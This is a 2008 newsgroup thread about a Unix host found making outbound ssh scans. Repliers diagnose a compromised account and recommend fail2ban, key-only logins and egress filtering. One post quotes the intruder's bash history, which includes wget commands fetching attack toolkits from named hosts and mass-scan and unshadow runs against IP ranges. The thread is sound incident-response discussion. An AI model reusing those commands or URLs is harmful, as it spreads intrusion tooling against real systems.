>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43611 218.25.227.65:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56501 218.25.105.171:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59022 218.25.10.51:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33120 218.25.69.162:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33349 218.25.228.66:ssh
>TIME_WAIT   
>tcp        0     52 x-xx-x-xx-xx.xxxxxxxx:46404 218.25.164.67:ssh
>ESTABLISHED 
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43442 218.25.20.66:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34481 218.24.134.59:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37258 218.25.62.117:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60094 218.25.76.53:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41505 218.25.10.96:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35714 218.25.105.172:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36425 218.22.134.190:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51627 218.25.72.50:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43296 218.25.71.30:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43445 218.25.71.30:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41163 218.25.48.94:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34431 218.25.69.163:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41549 218.25.62.116:ssh
>TIME_WAIT   
>tcp        0      1 x-xx-x-xx-xx.xxxxxxxx:37732 218.25.62.117:ssh
>SYN_SENT    
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53625 218.25.16.80:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34687 218.25.18.199:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55731 218.25.88.164:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46492 218.25.200.50:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42103 218.25.48.94:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59849 218.25.57.36:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42001 218.25.23.234:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53249 218.25.81.58:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52250 218.25.104.211:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53024 218.25.10.4:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43656 218.25.170.148:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36353 218.25.227.81:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35920 218.25.105.172:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45379 218.24.148.167:ssh
>TIME_WAIT   
>tcp        0      1 x-xx-x-xx-xx.xxxxxxxx:33064 218.25.59.190:ssh
>SYN_SENT    
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42909 218.25.170.133:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36156 218.25.227.81:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48545 218.25.91.182:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58671 218.25.228.66:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49418 218.25.30.122:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55844 218.25.131.37:ssh
>TIME_WAIT   
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40166 218.25.76.58:ssh
>TIME_WAIT  
>===== END ===== 
0
Reply unruh-spam (2989) 9/19/2008 3:15:52 PM

Anon E. Muss <anonymous@example.org> writes:

>I recently noticed excessive acitivity on my router's activity LED and
>did a little investigating.  As immediate action, I used a big hammer
>and firewalled off 218/8 until I can figure out what is going on here.
>Yesterday, it was 201/8.

>Below is most of output of netstat.  Can someone let me know what is
>going on here?  SynFlood??  Also, any suggestions??

>===== BEGIN =====
>Active Internet connections (w/o servers)
>Proto Recv-Q Send-Q Local Address               Foreign Address State
>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37775 218.25.160.246:ssh
>TIME_WAIT   
<snip>

	As several folks have noted standard ssh scan (we take between 4 and 
5 a day down our entire class B). As this looks to be a unix host try
fail2ban which will block the IP for 5 minutes or so after a number of 
failures:

fail2ban: http://www.fail2ban.org/ which blocks via a local firewall 

Peter Van Epp / Operations and Technical Support 
Simon Fraser University, Burnaby, B.C. Canada
0
Reply vanepp (7) 9/19/2008 3:24:45 PM

Anon E. Muss wrote:
> I recently noticed excessive acitivity on my router's activity LED and
> did a little investigating.  As immediate action, I used a big hammer
> and firewalled off 218/8 until I can figure out what is going on here.
> Yesterday, it was 201/8.
> 
> Below is most of output of netstat.  Can someone let me know what is
> going on here?  SynFlood??  Also, any suggestions??
> 
> ===== BEGIN =====
> Active Internet connections (w/o servers)
> Proto Recv-Q Send-Q Local Address               Foreign Address State
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37775 218.25.160.246:ssh
> TIME_WAIT   
> tcp        0      0 x-xx-x-xx-xx.lsa:safetynetp 218.25.17.78:ssh
> TIME_WAIT   

<snip>

There is no need to quote the whole log - a couple of lines is enough!

Someone is running a distributed attack on your system, looking for a 
way in through ssh.  ssh has been a particular favourite since the 
recent flaws in ssh key generation on a lot of Debian systems, although 
it's always been fairly popular.

It's uncommon to get a distributed attack, however.  Such attacks 
require a botnet.  While there are vast numbers of zombie PC's in such 
networks, there are not that many botnets and botnet controllers.  Is 
there some reason why you might be a particular target?  Random IP 
addresses are often the victims of individuals (you see lots of 
connections from the same IP address - they are running a dictionary of 
possible passwords).  Perhaps this is a botnet attacking a range of 
random IP addresses but only trying a few connections on each.

There are various ways to ensure that a ssh attack does not succeed. 
These include whitelists or blacklists for the addresses that can 
connect on ssh, limiting the users that can connect (avoid letting 
"root" or other easily guessable users connect - if the user names are 
hard, then an attacker needs to guess the user name as well as the 
password), using ssh keys (this can be combined with passwords for extra 
security), using connection limiting, using a non-standard port, using 
port-knocking, and other fancy firewall setups.

Personally, I limit the ssh access (from outside the LAN - I'm a little 
more flexible inside the LAN) to a single non-standard user and a 
non-standard port, with connection rate limiting.  Other things I have 
planned, but not yet implemented, are to automatically blacklist any IP 
address that tries to connect on port 22 (or various other ports, such 
as windows share ports, MS Server ports, and other ports used with 
well-known vulnerabilities).  However, simply using a non-standard port 
for ssh will probably block 99.9% of all non-targeted attacks.

0
Reply david.brown (580) 9/19/2008 3:40:11 PM

On Fri, 19 Sep 2008 09:56:24 -0500, Allen Kistler
<ackistler@oohay.moc> wrote:

>Anon E. Muss wrote:
>> I recently noticed excessive acitivity on my router's activity LED and
>> did a little investigating.  As immediate action, I used a big hammer
>> and firewalled off 218/8 until I can figure out what is going on here.
>> Yesterday, it was 201/8.
>> 
>> Below is most of output of netstat.  Can someone let me know what is
>> going on here?  SynFlood??  Also, any suggestions??
>> 
>> ===== BEGIN =====
>> Active Internet connections (w/o servers)
>> Proto Recv-Q Send-Q Local Address               Foreign Address State
>> 
>> [snip]
>
>Welcome to the Internet.  It's been here for a while.  Where have you been?

Been here a while.

>If you have services offered to the world, lots of people are going to 
>try to break in.  If you have ssh turned on with guessable usernames 
>(like, you know, root, ftp, httpd, or bin) and authentication using only 
>password enabled, eventually someone is going to guess your lame password.

Not *my* password.

I will go through the users and find out who used a lame-o password.

Thanks for the help.
0
Reply anonymous3659 (7) 9/19/2008 3:51:45 PM

Anon E. Muss wrote:
> On Fri, 19 Sep 2008 09:56:24 -0500, Allen Kistler
> <ackistler@oohay.moc> wrote:
> 
>> Anon E. Muss wrote:
>>> I recently noticed excessive acitivity on my router's activity LED and
>>> did a little investigating.  As immediate action, I used a big hammer
>>> and firewalled off 218/8 until I can figure out what is going on here.
>>> Yesterday, it was 201/8.
>>>
>>> Below is most of output of netstat.  Can someone let me know what is
>>> going on here?  SynFlood??  Also, any suggestions??
>>>
>>> ===== BEGIN =====
>>> Active Internet connections (w/o servers)
>>> Proto Recv-Q Send-Q Local Address               Foreign Address State
>>>
>>> [snip]
>> Welcome to the Internet.  It's been here for a while.  Where have you been?
> 
> Been here a while.
> 
>> If you have services offered to the world, lots of people are going to 
>> try to break in.  If you have ssh turned on with guessable usernames 
>> (like, you know, root, ftp, httpd, or bin) and authentication using only 
>> password enabled, eventually someone is going to guess your lame password.
> 
> Not *my* password.

All passwords are lame.  If your system is available from the Internet, 
crackers have a large amount of time to try a large amount of 
username/password combinations.  Disable passwords.  Use public keys. 
1024 bits = 128 bytes is better than any password you think is good.

> I will go through the users and find out who used a lame-o password.
> 
> Thanks for the help.
0
Reply ackistler (610) 9/19/2008 4:35:47 PM

Anon E  Muss wrote:

> I recently noticed excessive acitivity on my router's activity LED and
> did a little investigating.  As immediate action, I used a big hammer
> and firewalled off 218/8 until I can figure out what is going on here.
> Yesterday, it was 201/8.

Several followups already have suggested that your system is being
attacked via the ssh port.  I think folks have mis-read your netstat
output.

> Below is most of output of netstat.  Can someone let me know what is
> going on here?

Your machine is port-scanning what appears to be 218.0.0.0/11 for ssh
servers.  You need to make it stop that.  If you blocked 201/8
yesterday, and 218/8 today, you might want to try to find what data it
gathered in the meantime for 202/8 to 217/8.  More seriously, you need
to identify the process that is performing the scan, and stop it.  Then
you need to figure out how it got there and deal with that.

> ... any suggestions??

Look for a probable compromise by similar means.  Judging by the
client-side ports (on your system) used in the scan, I don't think that
a privileged account was compromised (and therefore your system itself
is probably not compromised, unless the compromised account was able to
use local privilege escalation).  Another frequent source of account
compromise seems to be some web-based services.

            vvvvvvvvvvvvv               vvvvvvvvvvvvvvv
> Proto ... Local Address               Foreign Address  ...
> tcp   ... x-xx-x-xx-xx.xxxxxxxx:37775 218.25.160.246:ssh  ...
> tcp   ... x-xx-x-xx-xx.lsa:safetynetp 218.25.17.78:ssh  ...
> tcp   ... x-xx-x-xx-xx.xxxxxxxx:57080 218.25.228.66:ssh  ...
> tcp   ... x-xx-x-xx-xx.xxxxxxxx:47493 218.25.164.66:ssh  ...
> tcp   ... x-xx-x-xx-xx.xxxxxxxx:55216 218.25.23.202:ssh  ...

I hope I've helped ...

-- 
----------------------------------------------------------------------
Sylvain Robitaille                              syl@alcor.concordia.ca

Network and Systems analyst                       Concordia University
Instructional & Information Technology        Montreal, Quebec, Canada
----------------------------------------------------------------------
0
Reply syl (103) 9/19/2008 5:17:13 PM

Sylvain Robitaille wrote:
> Anon E  Muss wrote:
> 
>> I recently noticed excessive acitivity on my router's activity LED and
>> did a little investigating.  As immediate action, I used a big hammer
>> and firewalled off 218/8 until I can figure out what is going on here.
>> Yesterday, it was 201/8.
> 
> Several followups already have suggested that your system is being
> attacked via the ssh port.  I think folks have mis-read your netstat
> output.
> 
>> Below is most of output of netstat.  Can someone let me know what is
>> going on here?
> 
> Your machine is port-scanning what appears to be 218.0.0.0/11 for ssh
> servers.  You need to make it stop that.  If you blocked 201/8
> yesterday, and 218/8 today, you might want to try to find what data it
> gathered in the meantime for 202/8 to 217/8.  More seriously, you need
> to identify the process that is performing the scan, and stop it.  Then
> you need to figure out how it got there and deal with that.
> 
>> ... any suggestions??
> 
> Look for a probable compromise by similar means.  Judging by the
> client-side ports (on your system) used in the scan, I don't think that
> a privileged account was compromised (and therefore your system itself
> is probably not compromised, unless the compromised account was able to
> use local privilege escalation).  Another frequent source of account
> compromise seems to be some web-based services.
> 
>             vvvvvvvvvvvvv               vvvvvvvvvvvvvvv
>> Proto ... Local Address               Foreign Address  ...
>> tcp   ... x-xx-x-xx-xx.xxxxxxxx:37775 218.25.160.246:ssh  ...
>> tcp   ... x-xx-x-xx-xx.lsa:safetynetp 218.25.17.78:ssh  ...
>> tcp   ... x-xx-x-xx-xx.xxxxxxxx:57080 218.25.228.66:ssh  ...
>> tcp   ... x-xx-x-xx-xx.xxxxxxxx:47493 218.25.164.66:ssh  ...
>> tcp   ... x-xx-x-xx-xx.xxxxxxxx:55216 218.25.23.202:ssh  ...
> 
> I hope I've helped ...

I'll agree.  I missed it before that your machine was doing the 
attacking, not the other way around.  Either you've got a malicious 
insider or you've been cracked from the outside.
0
Reply ackistler (610) 9/19/2008 5:59:53 PM

Anon E. Muss wrote:

> I recently noticed excessive acitivity on my router's activity LED and
> did a little investigating.  As immediate action, I used a big hammer
> and firewalled off 218/8 until I can figure out what is going on here.
> Yesterday, it was 201/8.
> 
> Below is most of output of netstat.  Can someone let me know what is
> going on here?  SynFlood??  Also, any suggestions??
> 
> ===== BEGIN =====
> Active Internet connections (w/o servers)
> Proto Recv-Q Send-Q Local Address               Foreign Address State
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37775 218.25.160.246:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.lsa:safetynetp 218.25.17.78:ssh
> TIME_WAIT

<snip -- you only need to paste in the relevant portions, people might
ignore your post if it's too large>

This simply looks like a brute force attack to guess valid usernames or
actually log into the system.  This is something that happens to
millions of systems every day, all over the world on the Internet.

You should only allow access to the SSH port (as well as FTP and
anything else) that only you want access to, to only your IP.  If it's
local, you can set the router to deny any incoming requests, especially
to ports like this.  You can also shut down SSH on your local system if
you don't have a reason to run it for incoming connections.  Same with
any unneeded service.

The router/firewall should block any incoming connections to your system
on any port, and only allow incoming for trusted connections that you
want/need for some reason.  Always also shut down and block any
accesses to services on the system itself anyway, in case the firewall
is somehow bypassed or compromised.

Obviously, the rest of the rules apply as well, such as keeping things
up to date, a good, secure configuration, firewalls on the system and
router (or hardware firewall if you use one), shutting down services
you don't need, and so on.
-- 
Tim Greer, CEO/Founder/CTO, BurlyHost.com, Inc.
Shared Hosting, Reseller Hosting, Dedicated & Semi-Dedicated servers
and Custom Hosting.  24/7 support, 30 day guarantee, secure servers.
Industry's most experienced staff! -- Web Hosting With Muscle!
0
Reply tim199 (262) 9/19/2008 7:12:48 PM

On Fri, 19 Sep 2008 17:17:13 +0000 (UTC), Sylvain Robitaille
<syl@alcor.concordia.ca> wrote:

>Anon E  Muss wrote:
>
>> Below is most of output of netstat.  Can someone let me know what is
>> going on here?

[...]

>Your machine is port-scanning what appears to be 218.0.0.0/11 for ssh
>servers.  You need to make it stop that.  If you blocked 201/8
>yesterday, and 218/8 today, you might want to try to find what data it
>gathered in the meantime for 202/8 to 217/8.  More seriously, you need
>to identify the process that is performing the scan, and stop it.  Then
>you need to figure out how it got there and deal with that.
>
>> ... any suggestions??
>
>Look for a probable compromise by similar means.  Judging by the
>client-side ports (on your system) used in the scan, I don't think that
>a privileged account was compromised (and therefore your system itself
>is probably not compromised, unless the compromised account was able to
>use local privilege escalation).  Another frequent source of account
>compromise seems to be some web-based services.

One of my users had a stupid password and had his account compromised.
Upon reviewing the logs, it looks like this was going on for about 4
days:

$ cat .bash_history

[...]
passwd
w
uname -a
cat /proc/cpuinfo
ls -a
uptime
cat /proc/cpuinfo
w
ls -a
w
uanme -a
uname -a
ls -a
w
uname -a
ps -x
w
ls -a
wget http://www12.asphost4free.com/marmy/ssh.tgz 
tar zxvf ssh.tgz
rm -rf ssh.tgz
cd ssh
chmod +x *
wget http://nasa-undernet.ucoz.org/screen.tgz
tar  zxvf screen.tgz
rm -rf screen.tgz
chmod +x *
screen -r
screen
../mass 117
cd ssh
../screen -r
ls -a
ps x
kill -9 12305
nano vuln.txt
ps x
ls -a
cd ..
rm -rf ssh
ls -a
w
ls -a
uname -a
cat /proc/cpuinfo
ls -a
uname -a
uptime 
ps x 
cat /proc/cpuinfo
ls -a
cat /proc/cpuinfo
ftp 61.184.136.12
ftp 61.184.136.12
tar zxvf webmin.tgz
cd webmin
../scan 79.15
../scan 91.80
../scan 161.53
../unshadow 161.53/
../scan 200.168
../unshadow 200.168/
../scan 201.10
../scan 202.66
../scan 92.114
../unshadow 92.114
cd
ls
cd webmin
ls
cd
wget http://www12.asphost4free.com/marmy/ssh.tgz
tar zxvf ssh.tgz
cd ssh
http://www12.asphost4free.com/mrtiger/screen.tgz
wget http://www12.asphost4free.com/mrtiger/screen.tgz
tar zxvf screen.tgz
rm -rf screen.tgz
../screen
../mass 61
../screen
w
passwd
w
uname -a
cat /proc/cpuinfo
uname -a
w
cat /proc/cpuinfo
ls -a
cd webmin
ls -a
../scan 69.13
../unshadow 69.13/
w
ls -a
cd ssh
ls -a
cat vuln.txt
cd ..
cd webmin
../scan 82.146
ls -a
cd ..
ls -a
cd ssh
ls -a
screen
w
ls -a
cd ssh
ls -a
../screen -r
screen -wipe
cat culn.txt
cat vuln.txt
ls -a
../screen
w
ls -a
cd ssh
../screen -r
cat vuln.txt
cd ssh
../screen -r
cat vuln.txt
cd ssh
cat vuln.txt
screen -r
ps x
../screen -r
../mass 62
../mass 61
cd ssh
cat vuln.txt
screen -r
../screen -r
../screen -wipe
../screen
ls -a
cd ssh
../screen -r
cat vuln.txt
../screen -r
cat vuln.txt
../mass 201
cd ssh
../screen -r
cat vuln.txt
ls +a
../screen
cd ssh
cat vuln.txt
screen -r
../screen -r
../screen -r
../screen -r
cd ..
ls -a
wget joke4u.diinoweb.com/files/Cristina.tgz
rm -rf Cristina.tgz
cd ssh
../screen -r
../mass 218
cd ssh
../screen -r
[...]

>I hope I've helped ...

You did.  Thanks.

I also installed "fail2ban" as someone else advised.
0
Reply anonymous3659 (7) 9/19/2008 7:15:03 PM

Tim Greer wrote:

> Anon E. Muss wrote:

Pardon, I had also misread the output.  The same suggestions apply, but
you definitely want to look into the system, see if it's compromised,
etc. and take the appropriate actions.  You can also block outgoing on
ports 22, 21, etc. (ssh, ftp, etc., respectively), and only allow
outgoing to trusted destinations.  This will immediately help the
situation while you look into the issue further.  Good thing you caught
the outgoing attacks.
-- 
Tim Greer, CEO/Founder/CTO, BurlyHost.com, Inc.
Shared Hosting, Reseller Hosting, Dedicated & Semi-Dedicated servers
and Custom Hosting.  24/7 support, 30 day guarantee, secure servers.
Industry's most experienced staff! -- Web Hosting With Muscle!
0
Reply tim199 (262) 9/19/2008 7:19:39 PM

Anon E. Muss wrote:

> I recently noticed excessive acitivity on my router's activity LED and
> did a little investigating.  As immediate action, I used a big hammer
> and firewalled off 218/8 until I can figure out what is going on here.
> Yesterday, it was 201/8.
> 
> Below is most of output of netstat.  Can someone let me know what is
> going on here?  SynFlood??  Also, any suggestions??
> 
> ===== BEGIN =====
> Active Internet connections (w/o servers)
> Proto Recv-Q Send-Q Local Address               Foreign Address State
> tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37775 218.25.160.246:ssh
> TIME_WAIT
> tcp        0      0 x-xx-x-xx-xx.lsa:safetynetp 218.25.17.78:ssh
> TIME_WAIT


Pardon, I had also misread the output in my earlier reply.  The same
suggestions apply, but you definitely want to look into the system, see
if it's compromised, etc. and take the appropriate actions.  You can
also block outgoing on ports 22, 21, etc. (ssh, ftp, etc.,
respectively), and only allow outgoing to trusted destinations.  This
will immediately help the situation while you look into the issue
further.  Good thing you caught the outgoing attacks.

-- 
Tim Greer, CEO/Founder/CTO, BurlyHost.com, Inc.
Shared Hosting, Reseller Hosting, Dedicated & Semi-Dedicated servers
and Custom Hosting.  24/7 support, 30 day guarantee, secure servers.
Industry's most experienced staff! -- Web Hosting With Muscle!
0
Reply tim199 (262) 9/19/2008 7:20:17 PM

On Fri, 19 Sep 2008 15:24:45 +0000 (UTC), Peter Van Epp <vanepp@sfu.ca> wrote:
>Anon E. Muss <anonymous@example.org> writes:

>>I recently noticed excessive acitivity on my router's activity LED and
>>did a little investigating.  As immediate action, I used a big hammer
>>and firewalled off 218/8 until I can figure out what is going on here.
>>Yesterday, it was 201/8.

>>Below is most of output of netstat.  Can someone let me know what is
>>going on here?  SynFlood??  Also, any suggestions??

>>===== BEGIN =====
>>Active Internet connections (w/o servers)
>>Proto Recv-Q Send-Q Local Address               Foreign Address State
>>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37775 218.25.160.246:ssh
>>TIME_WAIT   
><snip>

>	As several folks have noted standard ssh scan (we take between 4 and 
>5 a day down our entire class B). As this looks to be a unix host try
>fail2ban which will block the IP for 5 minutes or so after a number of 
>failures:

>fail2ban: http://www.fail2ban.org/ which blocks via a local firewall 

denyhosts is also cool in that it reports crackers to a central database.  If
a cracker attacks too many denyhosts protected sites, all of them will block
the cracker.

Unfortunately, I started to be attacked by a botnet, getting 10-20 attacks a day
all from different hosts.  I finally decided to disable password logins, only
allowing predefined keys with passcode to log on which I keep on a memory stick
for when I connect remotely from a new computer.
0
Reply aznomad.3 (962) 9/19/2008 9:30:54 PM

David Brown <david.brown@hesbynett.removethisbit.no> wrote:
> 
> It's uncommon to get a distributed attack, however.  Such attacks 
> require a botnet.  While there are vast numbers of zombie PC's in such 
> networks, there are not that many botnets and botnet controllers.

There are millions and millions of computers running Microsoft Windows, 
many of which are prone to becoming zombies. (Many of the packages have 
inbuilt support for this: including Internet Explorer, Outlook Express, 
Microsoft Word, other Microsoft Office components, and other tools that 
autorun (or even click to run) untrusted malicious dropper code.)

I reckon you can expect about 3 hits per minute from botnet zombies, if 
you are connected to the internet. Botnets are really sophisticated these days
and may do something quite specific against your host.

Mark.

-- 
Mark Hobley,
393 Quinton Road West,
Quinton, BIRMINGHAM.
B32 1QE.
0
Reply markhobley550 (900) 9/19/2008 9:40:52 PM

AZ Nomad wrote:

> On Fri, 19 Sep 2008 15:24:45 +0000 (UTC), Peter Van Epp
> <vanepp@sfu.ca> wrote:
>>Anon E. Muss <anonymous@example.org> writes:
> 
>>>I recently noticed excessive acitivity on my router's activity LED
>>>and
>>>did a little investigating.  As immediate action, I used a big hammer
>>>and firewalled off 218/8 until I can figure out what is going on
>>>here. Yesterday, it was 201/8.
> 
>>>Below is most of output of netstat.  Can someone let me know what is
>>>going on here?  SynFlood??  Also, any suggestions??
> 
>>>===== BEGIN =====
>>>Active Internet connections (w/o servers)
>>>Proto Recv-Q Send-Q Local Address               Foreign Address State
>>>tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37775 218.25.160.246:ssh
>>>TIME_WAIT
>><snip>
> 
>>As several folks have noted standard ssh scan (we take between 4 and
>>5 a day down our entire class B). As this looks to be a unix host try
>>fail2ban which will block the IP for 5 minutes or so after a number of
>>failures:
> 
>>fail2ban: http://www.fail2ban.org/ which blocks via a local firewall
> 
> denyhosts is also cool in that it reports crackers to a central
> database.  If a cracker attacks too many denyhosts protected sites,
> all of them will block the cracker.
> 
> Unfortunately, I started to be attacked by a botnet, getting 10-20
> attacks a day
> all from different hosts.  I finally decided to disable password
> logins, only allowing predefined keys with passcode to log on which I
> keep on a memory stick for when I connect remotely from a new
> computer.

You can also consider using something like iptables and implement rate
limiting (different limits per port/service), which can help prevent it
getting too far out of control initially, without having to add a rule
or keep a database, though you can do both and include logging for
different reasons and future prevention or reporting.  Ultimately,
people seem to leave too many services open to the world when it can be
disabled or can be more limited (not that I assume that was your issue,
but the topic just compels me to make mention of that fact -- I suppose
that's obvious though).

Often, people will just configure SSH to only listen on specific IPs,
rather than binding to all of them and configure it to a unique, non
default port.  Add firewalls to that, rate limiting and a good
configuration, then if you keep up to date on the versions/patches,
have a secure configuration of the service, don't allow direct root
logins and use keys, along with a few other basic things, and you
should really not need to worry about incoming SSH attacks, at least. 
Additional things can be chrooting/jailing the shell, adding security
policy limits, ulimit, etc., but again, that all goes without saying.
-- 
Tim Greer, CEO/Founder/CTO, BurlyHost.com, Inc.
Shared Hosting, Reseller Hosting, Dedicated & Semi-Dedicated servers
and Custom Hosting.  24/7 support, 30 day guarantee, secure servers.
Industry's most experienced staff! -- Web Hosting With Muscle!
0
Reply tim199 (262) 9/19/2008 9:43:57 PM

Anon E. Muss wrote:
> On Fri, 19 Sep 2008 17:17:13 +0000 (UTC), Sylvain Robitaille
> <syl@alcor.concordia.ca> wrote:

> One of my users had a stupid password and had his account compromised.
> Upon reviewing the logs, it looks like this was going on for about 4
> days:
> 
> $ cat .bash_history
> 
Congratulations ... you just posted the url's for a couple of tools that 
this amateur skript kiddie is using.
0
Reply Prime 9/19/2008 10:32:23 PM

Anon E. Muss wrote:

> On Fri, 19 Sep 2008 17:17:13 +0000 (UTC), Sylvain Robitaille
> <syl@alcor.concordia.ca> wrote:
> 
>>Anon E  Muss wrote:
>>
>>> Below is most of output of netstat.  Can someone let me know what is
>>> going on here?
> 
> [...]
> 
>>Your machine is port-scanning what appears to be 218.0.0.0/11 for ssh
>>servers.  You need to make it stop that.  If you blocked 201/8
>>yesterday, and 218/8 today, you might want to try to find what data it
>>gathered in the meantime for 202/8 to 217/8.  More seriously, you need
>>to identify the process that is performing the scan, and stop it. 
>>Then you need to figure out how it got there and deal with that.
>>
>>> ... any suggestions??
>>
>>Look for a probable compromise by similar means.  Judging by the
>>client-side ports (on your system) used in the scan, I don't think
>>that a privileged account was compromised (and therefore your system
>>itself is probably not compromised, unless the compromised account was
>>able to
>>use local privilege escalation).  Another frequent source of account
>>compromise seems to be some web-based services.
> 
> One of my users had a stupid password and had his account compromised.
> Upon reviewing the logs, it looks like this was going on for about 4
> days:
> 
> $ cat .bash_history
> 

<snip>

You should block outgoing requests to port 22, and only allow trusted
destinations, so your server can't be the source of an attack again. 
Do the same for other similar ports/services.  Also, consider applying
some rate limit policies for the one's you do trust as destinations. 
Additionally, you should report the sites in question the files were
downloaded from and add some mod_security rules (if you use Apache) for
POST/GET requests for those file names, and block outgoing access to
those servers as well.  Finally, you should be sure you don't allow any
users to bind services to ports above 1024 without verifying they are
okay (if you allow that at all).
-- 
Tim Greer, CEO/Founder/CTO, BurlyHost.com, Inc.
Shared Hosting, Reseller Hosting, Dedicated & Semi-Dedicated servers
and Custom Hosting.  24/7 support, 30 day guarantee, secure servers.
Industry's most experienced staff! -- Web Hosting With Muscle!
0
Reply tim199 (262) 9/19/2008 10:48:51 PM

Prime <not@real.address> writes:

>Anon E. Muss wrote:
>> On Fri, 19 Sep 2008 17:17:13 +0000 (UTC), Sylvain Robitaille
>> <syl@alcor.concordia.ca> wrote:

>> One of my users had a stupid password and had his account compromised.
>> Upon reviewing the logs, it looks like this was going on for about 4
>> days:
>> 
>> $ cat .bash_history
>> 
>Congratulations ... you just posted the url's for a couple of tools that 
>this amateur skript kiddie is using.

And you think that script kiddies know nothing about this?

Sounds like the ostrich strategy.

0
Reply Unruh 9/19/2008 10:53:43 PM

Unruh wrote:
> Prime <not@real.address> writes:
> 
>> Anon E. Muss wrote:
>>> On Fri, 19 Sep 2008 17:17:13 +0000 (UTC), Sylvain Robitaille
>>> <syl@alcor.concordia.ca> wrote:
> 
>>> One of my users had a stupid password and had his account compromised.
>>> Upon reviewing the logs, it looks like this was going on for about 4
>>> days:
>>>
>>> $ cat .bash_history
>>>
>> Congratulations ... you just posted the url's for a couple of tools that 
>> this amateur skript kiddie is using.
> 
> And you think that script kiddies know nothing about this?
> 
> Sounds like the ostrich strategy.
> 

Negative ...

It does no one any good to provide additional resources for newbie 
skript kiddies ...

0
Reply Prime 9/20/2008 1:27:22 AM

Prime <not@real.address> writes:

>Unruh wrote:
>> Prime <not@real.address> writes:
>> 
>>> Anon E. Muss wrote:
>>>> On Fri, 19 Sep 2008 17:17:13 +0000 (UTC), Sylvain Robitaille
>>>> <syl@alcor.concordia.ca> wrote:
>> 
>>>> One of my users had a stupid password and had his account compromised.
>>>> Upon reviewing the logs, it looks like this was going on for about 4
>>>> days:
>>>>
>>>> $ cat .bash_history
>>>>
>>> Congratulations ... you just posted the url's for a couple of tools that 
>>> this amateur skript kiddie is using.
>> 
>> And you think that script kiddies know nothing about this?
>> 
>> Sounds like the ostrich strategy.
>> 

>Negative ...

>It does no one any good to provide additional resources for newbie 
>skript kiddies ...

We are constrantly telling people to provide information when they post
here with problems. He posts his information and you attack him. That info
can be useful in deciding to advise him how to handle the attack.


0
Reply Unruh 9/20/2008 1:45:32 AM

Prime wrote:

> It does no one any good to provide additional resources for newbie 
> skript kiddies ...

obscurity != security

Plain and simple.

Besides, the script kiddies get the tools.  You should never assume that
because you haven't seen pointers to them directly, that they haven't.

What the OP did was make it possible for us (and himself) to examine the
exact tools used by his intruder, giving him a better chance of ensuring
thorough cleanup (and us an additional opportunity at detecting the use
of these tools against our own systems).

-- 
----------------------------------------------------------------------
Sylvain Robitaille                              syl@alcor.concordia.ca

Network and Systems analyst                       Concordia University
Instructional & Information Technology        Montreal, Quebec, Canada
----------------------------------------------------------------------
0
Reply Sylvain 9/20/2008 2:24:18 AM

Unruh wrote:

>> Unruh wrote:

> 
> We are constrantly telling people to provide information when they post
> here with problems. He posts his information and you attack him. That info
> can be useful in deciding to advise him how to handle the attack.

